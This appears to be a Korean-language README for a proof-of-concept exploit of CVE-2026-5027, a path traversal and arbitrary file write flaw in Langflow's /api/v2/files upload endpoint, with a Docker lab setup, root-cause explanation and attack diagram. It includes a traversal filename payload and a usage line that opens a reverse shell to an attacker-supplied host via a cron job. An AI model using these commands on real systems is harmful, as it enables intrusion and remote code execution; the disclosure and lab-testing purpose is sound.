CVE-2026-5027

★ CVE-2026-5027 Langflow 경로 탐색 / 임의 파일 쓰기 PoC ★ CVE-2026-5027 PoC test

Description

CVE-2026-5027 : Langflow 임의 파일 쓰기 취약점

description: Langflow <= 1.8.4의 경로 탐색(path traversal) 취약점으로 인해 공격자가 /api/v2/files 엔드포인트에 제공하는 조작된 multipart filename을 통해 의도된 업로드 디렉터리 외부에 임의 파일을 쓸 수 있습니다. 자동 로그인(auto-login)이 활성화되어 있거나 인증이 약하게 적용되는 배포 환경에서는 이 문제를 악용하여 공격자가 제어하는 콘텐츠를 민감한 파일 시스템 위치에 기록함으로써 원격 코드 실행을 달성할 수 있습니다.

실습 환경 구성

Docker를 사용하여 취약 환경을 빌드하고 실행합니다:

이미지 빌드

docker build -t cve-2026-5027 .

컨테이너 실행

docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027

사용 방법

실행

# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>

# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444

분석

취약 엔드포인트

POST /api/v2/files

이 문제는 업로드 기능이 클라이언트가 제공한 multipart filename 값을 신뢰하기 때문에 발생합니다. 안전한 서버 측 저장 파일명을 생성하거나 최종 경로를 전용 업로드 디렉터리로 제한하는 대신, 취약한 코드 경로는 ../와 같은 경로 탐색 시퀀스가 최종 대상 경로에 영향을 미치도록 허용합니다.

결과적으로 공격자는 의도된 저장소 루트를 벗어나 애플리케이션이 서버 파일 시스템의 임의 위치에 파일을 쓰도록 강제할 수 있습니다.

대표적인 악용 흐름은 다음과 같습니다:

일반 로그인 또는 자동 로그인이 활성화된 배포 환경을 통해 액세스 토큰을 획득합니다.
/api/v2/files로 multipart 업로드 요청을 제출합니다.
경로 탐색 시퀀스를 포함한 조작된 filename을 제공합니다.
Langflow가 예상된 저장 디렉터리 외부에 공격자가 제어하는 콘텐츠를 쓰도록 유도합니다.

이것은 근본적으로 CWE-22: Improper Limitation of a Pathname to a Restricted Directory 문제입니다.

기술적 근본 원인

이 보안 결함은 업로드 처리 과정에서 사용자가 제어하는 파일 경로에 대한 무해화(sanitization)와 검증이 충분하지 않기 때문에 발생합니다. 애플리케이션은 클라이언트의 원본 파일명을 그대로 수락하고 경로 정규화와 격리(containment)를 적절히 적용하지 않은 채 저장 워크플로에 전달합니다.

방어적 관점에서 이 위험한 패턴은 개념적으로 다음과 유사합니다:

save_path = base_dir / file.filename

file.filename에 다음과 같은 경로 탐색 구성 요소가 포함된 경우:

../../../../tmp/poc.txt

최종 해석 경로가 base_dir 밖을 가리킬 수 있으며, 임의 파일 쓰기가 가능해집니다.

중요성

임의 파일 쓰기 취약점은 공격자가 파일 내용뿐만 아니라 대상 경로도 제어할 수 있기 때문에 일반적인 무제한 업로드 문제보다 훨씬 심각한 경우가 많습니다. Langflow 프로세스의 런타임 권한에 따라 다음이 가능할 수 있습니다:

애플리케이션 파일 덮어쓰기
시작 파일 또는 예약 작업 파일 변조
셸 초기화 파일 또는 키 파일을 통한 지속성 유지
임의 파일 쓰기에서 원격 코드 실행으로의 권한 상승

시나리오

+-------------------------------------------+
|                  Attacker                 |
+-------------------------------------------+
                      |
                      | Obtain access token
                      | or abuse auto-login
                      v
+-------------------------------------------+
|        Langflow /api/v2/files             |
+-------------------------------------------+
                      |
                      | Crafted multipart filename
                      | (../ directory traversal)
                      v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
                      |
                      | Write to sensitive location
                      v
+-------------------------------------------+
|      Potential Remote Code Execution      |
+-------------------------------------------+